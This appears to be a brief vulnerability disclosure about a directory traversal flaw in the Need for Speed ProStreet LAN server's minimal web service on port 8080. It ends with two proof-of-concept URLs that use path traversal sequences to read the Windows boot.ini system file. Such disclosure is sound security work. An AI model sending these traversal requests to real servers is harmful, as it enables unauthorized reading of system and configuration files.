a non-interesting and simple bug found casually while I was downloading the patch of this game for another research, I report it here only for thoroughness (mah)
in short this Need for Speed ProStreet LAN server (1.0.0 bombd.exe) has a "pseudo" webserver running by default on port 8080.
I have called it "pseudo" because in reality it's not a webserver, indeed it even doesn't send the HTTP headers!
anyway:
http://SERVER:8080/..\..\..\..\..\boot.ini
http://SERVER:8080/../../../../../boot.iniwould be better to make the request manually because the web browsers could give problems